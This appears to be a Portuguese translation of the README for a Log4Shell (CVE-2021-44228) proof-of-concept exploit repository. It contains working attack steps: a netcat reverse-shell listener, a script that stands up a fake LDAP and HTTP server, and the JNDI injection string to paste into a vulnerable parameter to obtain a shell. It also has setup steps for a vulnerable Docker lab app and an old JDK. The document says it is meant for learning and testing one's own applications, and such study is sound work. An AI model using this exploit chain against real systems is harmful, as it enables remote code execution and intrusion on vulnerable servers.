
Uma Prova de Conceito para a vulnerabilidade CVE-2021-44228.
Uma Prova-de-Conceito para a vulnerabilidade recentemente descoberta CVE-2021-44228.
Recentemente, foi descoberta uma nova vulnerabilidade no log4j, uma biblioteca de registro em Java amplamente utilizada em sistemas como Elasticsearch, Minecraft e muitos outros.
Neste repositório, há um exemplo de aplicação vulnerável e um exploit de prova-de-conceito (PoC) para ela.
Como PoC, há um arquivo Python que automatiza o processo.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 e estar no mesmo diretório.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Este script configurará o servidor HTTP e o servidor LDAP para você, e também criará o payload que você pode usar para colar no parâmetro vulnerável. Depois disso, se tudo correr bem, você deverá obter um shell na porta local (lport).
Há um Dockerfile com a aplicação web vulnerável. Você pode usá-lo seguindo os passos abaixo:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Uma vez em execução, você pode acessá-lo em localhost:8080
A Oracle, felizmente, fornece um arquivo para todas as versões anteriores do Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Role para baixo até 8u20 e baixe os arquivos apropriados para seu sistema operacional e hardware.

Nota: Você precisa criar uma conta para poder baixar o pacote.
Depois de baixar e extrair o arquivo, você pode encontrar o java e alguns binários relacionados em jdk1.8.0_20/bin.
Nota: Certifique-se de extrair a pasta jdk neste repositório com o mesmo nome para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositório não tem a intenção de ser um exploit de um clique para o CVE-2021-44228. O propósito deste projeto é ajudar as pessoas a aprender sobre esta vulnerabilidade e, talvez, testar suas próprias aplicações (no entanto, existem aplicações melhores para este propósito, por exemplo: https://log4shell.tools/).